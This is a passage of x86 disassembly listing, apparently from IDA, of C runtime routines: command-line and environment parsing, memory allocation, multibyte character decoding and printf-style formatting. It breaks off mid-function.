jnz short loc_44A6C3 push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_411CDC ; GetModuleFileNameA lea esi, [ebp+var_10C] loc_44A6C3: ; CODE XREF: sub_44A691+16j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0 push esi call sub_44A4E1 add esp, 14h mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [edx+eax*4] push eax call sub_449121 pop ecx mov ebx, eax test ebx, ebx jnz short loc_44A6F6 push 1 call sub_44A111 pop ecx loc_44A6F6: ; CODE XREF: sub_44A691+5Bj lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [ebx+eax*4] push eax push ebx push esi call sub_44A4E1 add esp, 14h mov eax, [ebp+var_4] dec eax mov dword_4117C4, eax mov dword_4117C8, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_44A691 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A731 proc near ; CODE XREF: DMN1:00448A8Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call dword_411DF8 ; GetEnvironmentStrings mov [ebp+var_8], eax test eax, eax jnz short loc_44A74F mov eax, off_411894 mov [ebp+var_8], eax loc_44A74F: ; CODE XREF: sub_44A731+14j mov [ebp+var_4], 0 mov ebx, [ebp+var_8] jmp short loc_44A774 ; --------------------------------------------------------------------------- loc_44A75B: ; CODE XREF: sub_44A731+46j mov edx, ebx or eax, 0FFFFFFFFh loc_44A760: ; CODE XREF: sub_44A731+34j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44A760 lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_44A772 add [ebp+var_4], esi loc_44A772: ; CODE XREF: sub_44A731+3Cj add ebx, esi loc_44A774: ; CODE XREF: sub_44A731+28j cmp byte ptr [ebx], 0 jnz short loc_44A75B mov eax, [ebp+var_4] inc eax push eax call sub_449121 pop ecx mov edi, eax mov dword_4117D0, eax cmp dword_4117D0, 0 jnz short loc_44A79C push 1 call sub_44A111 pop ecx loc_44A79C: ; CODE XREF: sub_44A731+61j mov ebx, [ebp+var_8] jmp short loc_44A7CB ; --------------------------------------------------------------------------- loc_44A7A1: ; CODE XREF: sub_44A731+9Dj mov edx, ebx or eax, 0FFFFFFFFh loc_44A7A6: ; CODE XREF: sub_44A731+7Aj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44A7A6 lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_44A7C9 mov ecx, edi mov edx, ebx push ecx sub ecx, edx loc_44A7BC: ; CODE XREF: sub_44A731+93j mov al, [edx] mov [ecx+edx], al inc edx test al, al jnz short loc_44A7BC pop eax add edi, esi loc_44A7C9: ; CODE XREF: sub_44A731+82j add ebx, esi loc_44A7CB: ; CODE XREF: sub_44A731+6Ej cmp byte ptr [ebx], 0 jnz short loc_44A7A1 mov byte ptr [edi], 0 mov eax, off_411894 cmp eax, [ebp+var_8] jz short loc_44A7E7 mov eax, [ebp+var_8] push eax call dword_411DFC ; FreeEnvironmentStringsA loc_44A7E7: ; CODE XREF: sub_44A731+AAj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44A731 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= sub_44A7F1 proc near ; CODE XREF: DMN1:00448AC4p push ebx call dword_411D90 ; GetCommandLineA mov ebx, eax cmp byte ptr [ebx], 22h jnz short loc_44A815 loc_44A7FF: ; CODE XREF: sub_44A7F1+19j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_44A80C cmp byte ptr [ebx], 0 jnz short loc_44A7FF loc_44A80C: ; CODE XREF: sub_44A7F1+14j cmp byte ptr [ebx], 22h jnz short loc_44A81D inc ebx jmp short loc_44A81D ; --------------------------------------------------------------------------- loc_44A814: ; CODE XREF: sub_44A7F1+27j inc ebx loc_44A815: ; CODE XREF: sub_44A7F1+Cj cmp byte ptr [ebx], 20h ja short loc_44A814 jmp short loc_44A81D ; --------------------------------------------------------------------------- loc_44A81C: ; CODE XREF: sub_44A7F1+34j inc ebx loc_44A81D: ; CODE XREF: sub_44A7F1+1Ej ; sub_44A7F1+21j ... mov al, [ebx] test al, al jz short loc_44A827 cmp al, 20h jbe short loc_44A81C loc_44A827: ; CODE XREF: sub_44A7F1+30j mov eax, ebx pop ebx retn sub_44A7F1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A831 proc near ; CODE XREF: sub_448B51+21p var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_4117D8, 0 jnz short loc_44A864 push 1 push 2000h mov eax, dword_4117DC push eax push 0 call dword_411E00 ; VirtualAlloc mov dword_4117D8, eax test eax, eax jz short loc_44A8C7 loc_44A864: ; CODE XREF: sub_44A831+13j push 1Ch lea eax, [ebp+var_1C] push eax mov eax, dword_4117D8 push eax call dword_411E04 ; VirtualQuery test eax, eax jz short loc_44A8C7 cmp [ebp+var_C], 1000h jnz short loc_44A891 mov eax, [ebp+var_10] mov edx, dword_4117D8 lea edi, [edx+eax] jmp short loc_44A897 ; --------------------------------------------------------------------------- loc_44A891: ; CODE XREF: sub_44A831+50j mov edi, dword_4117D8 loc_44A897: ; CODE XREF: sub_44A831+5Ej mov esi, edi lea eax, [esi+ebx] mov edx, dword_4117DC mov ecx, dword_4117D8 add edx, ecx cmp eax, edx jb short loc_44A8B2 xor eax, eax jmp short loc_44A8C7 ; --------------------------------------------------------------------------- loc_44A8B2: ; CODE XREF: sub_44A831+7Bj push 4 push 1000h push ebx push esi call dword_411E00 ; VirtualAlloc test eax, eax jz short loc_44A8C7 mov eax, esi loc_44A8C7: ; CODE XREF: sub_44A831+31j ; sub_44A831+47j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44A831 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44A8D1 proc near ; CODE XREF: sub_449761+44p var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx mov eax, [ebp+arg_C] movzx eax, word ptr [eax+6] mov [ebp+var_3], al mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_C] mov eax, [eax] mov [ebp+var_2], ax cmp off_411924, 0 jnz loc_44AA4C cmp [ebp+arg_4], 0 jnz short loc_44A91F mov eax, [ebp+arg_C] mov ecx, dword_40FB38 mov ebx, dword_40FB3C mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_44ABAB ; --------------------------------------------------------------------------- loc_44A91F: ; CODE XREF: sub_44A8D1+31j ; sub_44A8D1+176j cmp [ebp+arg_8], 0 jnz short loc_44A943 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_44ABAB ; --------------------------------------------------------------------------- loc_44A943: ; CODE XREF: sub_44A8D1+52j cmp [ebp+var_3], 0 jbe short loc_44A98A mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0C0h cmp eax, 80h jz short loc_44A96E call sub_449321 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44ABAB ; --------------------------------------------------------------------------- loc_44A96E: ; CODE XREF: sub_44A8D1+88j movzx eax, [ebp+var_2] shl eax, 6 mov edx, [ebp+var_8] movzx edx, byte ptr [edx] and edx, 3Fh or eax, edx mov [ebp+var_2], ax sub [ebp+var_3], 1 jmp short loc_44A9FB ; --------------------------------------------------------------------------- loc_44A98A: ; CODE XREF: sub_44A8D1+76j mov eax, [ebp+var_8] test byte ptr [eax], 80h jnz short loc_44A99E mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov [ebp+var_2], ax jmp short loc_44A9FB ; --------------------------------------------------------------------------- loc_44A99E: ; CODE XREF: sub_44A8D1+BFj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0E0h cmp eax, 0C0h jnz short loc_44A9C3 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 1Fh mov [ebp+var_2], ax mov [ebp+var_3], 1 jmp short loc_44A9FB ; --------------------------------------------------------------------------- loc_44A9C3: ; CODE XREF: sub_44A8D1+DDj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0F0h cmp eax, 0E0h jnz short loc_44A9E8 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0Fh mov [ebp+var_2], ax mov [ebp+var_3], 2 jmp short loc_44A9FB ; --------------------------------------------------------------------------- loc_44A9E8: ; CODE XREF: sub_44A8D1+102j call sub_449321 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44ABAB ; --------------------------------------------------------------------------- loc_44A9FB: ; CODE XREF: sub_44A8D1+B7j ; sub_44A8D1+CBj ... cmp [ebp+var_3], 0 jnz short loc_44AA41 cmp [ebp+arg_0], 0 jz short loc_44AA11 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_44AA11: ; CODE XREF: sub_44A8D1+134j mov edx, [ebp+arg_C] mov word ptr [edx+6], 0 cmp [ebp+var_2], 0 jnz short loc_44AA2A mov [ebp+var_C], 0 jmp short loc_44AA39 ; --------------------------------------------------------------------------- loc_44AA2A: ; CODE XREF: sub_44A8D1+14Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_C], eax loc_44AA39: ; CODE XREF: sub_44A8D1+157j mov eax, [ebp+var_C] jmp loc_44ABAB ; --------------------------------------------------------------------------- loc_44AA41: ; CODE XREF: sub_44A8D1+12Ej inc [ebp+var_8] dec [ebp+arg_8] jmp loc_44A91F ; --------------------------------------------------------------------------- loc_44AA4C: ; CODE XREF: sub_44A8D1+27j mov [ebp+var_C], 0 cmp [ebp+arg_4], 0 jnz short loc_44AA7F mov eax, [ebp+arg_C] mov ecx, dword_40FB38 mov ebx, dword_40FB3C mov [eax], ecx mov [eax+4], ebx mov eax, off_411924 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_44ABAB ; --------------------------------------------------------------------------- loc_44AA7F: ; CODE XREF: sub_44A8D1+186j ; sub_44A8D1+292j cmp [ebp+arg_8], 0 jnz short loc_44AAA3 mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_44ABAB ; --------------------------------------------------------------------------- loc_44AAA3: ; CODE XREF: sub_44A8D1+1B2j mov al, [ebp+var_3] cmp al, 10h jnb short loc_44AADF movzx eax, al mov eax, off_411924[eax*4] mov [ebp+var_14], eax test eax, eax jz short loc_44AADF mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_44AADF mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov edx, [ebp+var_14] mov ax, [edx+eax*2] mov [ebp+var_E], ax test ax, ax jnz short loc_44AAF2 loc_44AADF: ; CODE XREF: sub_44A8D1+1D7j ; sub_44A8D1+1E8j ... call sub_449321 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44ABAB ; --------------------------------------------------------------------------- loc_44AAF2: ; CODE XREF: sub_44A8D1+20Cj movzx eax, [ebp+var_E] mov edx, eax and edx, 0F00h sar edx, 8 mov [ebp+var_3], dl test eax, 8000h jz short loc_44AB1E movzx eax, [ebp+var_2] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_E] or eax, edx mov [ebp+var_2], ax loc_44AB1E: ; CODE XREF: sub_44A8D1+238j test [ebp+var_E], 1000h jz short loc_44AB40 movzx eax, [ebp+var_2] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+var_2], ax loc_44AB40: ; CODE XREF: sub_44A8D1+253j test [ebp+var_E], 4000h jz short loc_44AB5D mov eax, [ebp+var_8] cmp byte ptr [eax], 0 jz short loc_44AB5D inc [ebp+var_8] dec [ebp+arg_8] mov [ebp+var_C], 0 loc_44AB5D: ; CODE XREF: sub_44A8D1+275j ; sub_44A8D1+27Dj test [ebp+var_E], 2000h jz loc_44AA7F cmp [ebp+arg_0], 0 jz short loc_44AB79 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_44AB79: ; CODE XREF: sub_44A8D1+29Cj mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax cmp [ebp+var_2], 0 jnz short loc_44AB9D mov [ebp+var_18], 0 jmp short loc_44ABA8 ; --------------------------------------------------------------------------- loc_44AB9D: ; CODE XREF: sub_44A8D1+2C1j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_18], eax loc_44ABA8: ; CODE XREF: sub_44A8D1+2CAj mov eax, [ebp+var_18] loc_44ABAB: ; CODE XREF: sub_44A8D1+49j ; sub_44A8D1+6Dj ... pop ebx mov esp, ebp pop ebp retn sub_44A8D1 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44ABB1 proc near ; CODE XREF: sub_449761+243p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = qword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx movzx eax, [ebp+arg_8] mov [ebp+var_4], eax cmp eax, 41h jl short loc_44ABD0 cmp eax, 47h jg short loc_44ABDF jmp dword_40FC40[eax*4] ; --------------------------------------------------------------------------- loc_44ABD0: ; CODE XREF: sub_44ABB1+11j cmp [ebp+var_4], 25h jz loc_44B2A3 jmp loc_44B2B8 ; --------------------------------------------------------------------------- loc_44ABDF: ; CODE XREF: sub_44ABB1+16j mov eax, [ebp+var_4] cmp eax, 58h jz loc_44AE14 jl loc_44B2B8 mov eax, [ebp+var_4] cmp eax, 61h jl loc_44B2B8 cmp eax, 78h jg loc_44B2B8 jmp dword_40FBDC[eax*4] ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz short loc_44AC3A mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_4] mov ecx, [eax] add ecx, 4 mov [eax], ecx mov eax, [ebp+arg_C] mov ecx, [ecx-4] mov [eax+edx], cl jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44AC3A: ; CODE XREF: sub_44ABB1+63j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov [ebp+var_6], ax mov [ebp+var_A], ax mov [ebp+var_8], 0 mov edx, [ebp+arg_0] or dword ptr [edx+2Ch], 0FFFFFFFFh lea eax, [ebp+var_A] push eax mov eax, [ebp+arg_0] push eax call sub_44BE31 add esp, 8 test eax, eax jge loc_44B2E3 or eax, 0FFFFFFFFh jmp loc_44B2E5 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_44ACA1 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44AD15 ; --------------------------------------------------------------------------- loc_44ACA1: ; CODE XREF: sub_44ABB1+D2j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_44ACC2 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44AD09 ; --------------------------------------------------------------------------- loc_44ACC2: ; CODE XREF: sub_44ABB1+F7j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_44ACE3 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44ACFD ; --------------------------------------------------------------------------- loc_44ACE3: ; CODE XREF: sub_44ABB1+118j mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44ACFD: ; CODE XREF: sub_44ABB1+130j mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44AD09: ; CODE XREF: sub_44ABB1+10Fj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44AD15: ; CODE XREF: sub_44ABB1+EEj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_44AD45 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dx, cx movsx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44AD8B ; --------------------------------------------------------------------------- loc_44AD45: ; CODE XREF: sub_44ABB1+176j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_44AD69 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dl, cl movsx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44AD8B ; --------------------------------------------------------------------------- loc_44AD69: ; CODE XREF: sub_44ABB1+19Bj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_44AD77 cmp al, 7Ah jnz short loc_44AD8B loc_44AD77: ; CODE XREF: sub_44ABB1+1C0j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx loc_44AD8B: ; CODE XREF: sub_44ABB1+192j ; sub_44ABB1+1B6j ... mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_44ADB2 jl short loc_44AD9D test eax, eax jnb short loc_44ADB2 loc_44AD9D: ; CODE XREF: sub_44ABB1+1E6j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_44ADF0 ; --------------------------------------------------------------------------- loc_44ADB2: ; CODE XREF: sub_44ABB1+1E4j ; sub_44ABB1+1EAj mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_44ADD2 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_44ADF0 ; --------------------------------------------------------------------------- loc_44ADD2: ; CODE XREF: sub_44ABB1+20Aj mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_44ADF0 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_44ADF0: ; CODE XREF: sub_44ABB1+1FFj ; sub_44ABB1+21Fj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44BF81 add esp, 8 jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44AE14: ; CODE XREF: sub_44ABB1+34j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_44AE36 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44AEA7 ; --------------------------------------------------------------------------- loc_44AE36: ; CODE XREF: sub_44ABB1+26Aj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_44AE57 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44AE9B ; --------------------------------------------------------------------------- loc_44AE57: ; CODE XREF: sub_44ABB1+28Cj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_44AE78 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44AE8F ; --------------------------------------------------------------------------- loc_44AE78: ; CODE XREF: sub_44ABB1+2ADj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44AE8F: ; CODE XREF: sub_44ABB1+2C5j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44AE9B: ; CODE XREF: sub_44ABB1+2A4j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44AEA7: ; CODE XREF: sub_44ABB1+283j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_44AED6 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44AF19 ; --------------------------------------------------------------------------- loc_44AED6: ; CODE XREF: sub_44ABB1+308j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_44AEFA mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44AF19 ; --------------------------------------------------------------------------- loc_44AEFA: ; CODE XREF: sub_44ABB1+32Cj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_44AF08 cmp al, 7Ah jnz short loc_44AF19 loc_44AF08: ; CODE XREF: sub_44ABB1+351j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx xor ebx, ebx mov [eax], ecx mov [eax+4], ebx loc_44AF19: ; CODE XREF: sub_44ABB1+323j ; sub_44ABB1+347j ... mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_44AF64 mov edx, [eax+4] mov eax, [eax] test edx, edx jnz short loc_44AF31 test eax, eax jz short loc_44AF64 loc_44AF31: ; CODE XREF: sub_44ABB1+37Aj mov al, [ebp+arg_8] cmp al, 78h jz short loc_44AF3C cmp al, 58h jnz short loc_44AF64 loc_44AF3C: ; CODE XREF: sub_44ABB1+385j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov cl, [ebp+arg_8] mov [eax+edx], cl loc_44AF64: ; CODE XREF: sub_44ABB1+371j ; sub_44ABB1+37Ej ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44BF81 add esp, 8 jmp loc_44B2E3 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 4Ch jnz short loc_44AFA3 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] jmp short loc_44AFB3 ; --------------------------------------------------------------------------- loc_44AFA3: ; CODE XREF: sub_44ABB1+3DEj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx fld qword ptr [ecx-8] fstp [ebp+var_20] loc_44AFB3: ; CODE XREF: sub_44ABB1+3F0j fld [ebp+var_20] fstp qword ptr [eax] mov eax, [ebp+arg_0] push eax call sub_44C1C1 pop ecx cmp ax, 2 jz short loc_44B026 mov eax, [ebp+arg_0] test word ptr [eax+6], 8000h jz short loc_44AFE8 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_44B026 ; --------------------------------------------------------------------------- loc_44AFE8: ; CODE XREF: sub_44ABB1+420j mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_44B008 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_44B026 ; --------------------------------------------------------------------------- loc_44B008: ; CODE XREF: sub_44ABB1+440j mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_44B026 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_44B026: ; CODE XREF: sub_44ABB1+415j ; sub_44ABB1+435j ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44C1D1 add esp, 8 jmp loc_44B2E3 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+3Ah] mov [ebp+var_24], eax cmp eax, 68h jz loc_44B133 cmp eax, 6Ah jz short loc_44B0DB cmp eax, 6Ch jz loc_44B14E jg short loc_44B078 cmp [ebp+var_24], 62h jz short loc_44B09D jmp loc_44B168 ; --------------------------------------------------------------------------- loc_44B078: ; CODE XREF: sub_44ABB1+4BAj mov eax, [ebp+var_24] cmp eax, 71h jz short loc_44B0B7 cmp eax, 74h jz short loc_44B0FF cmp eax, 71h jl loc_44B168 cmp [ebp+var_24], 7Ah jz loc_44B119 jmp loc_44B168 ; --------------------------------------------------------------------------- loc_44B09D: ; CODE XREF: sub_44ABB1+4C0j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], al jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B0B7: ; CODE XREF: sub_44ABB1+4CDj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B0DB: ; CODE XREF: sub_44ABB1+4AFj mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov edx, [ebp+arg_0] mov edx, [edx+30h] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B0FF: ; CODE XREF: sub_44ABB1+4D2j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B119: ; CODE XREF: sub_44ABB1+4E1j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] mov eax, [eax+30h] mov [edx], eax jmp loc_44B2E3 ; --------------------------------------------------------------------------- loc_44B133: ; CODE XREF: sub_44ABB1+4A6j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov edx, [edx-4] mov eax, [ebp+arg_0] 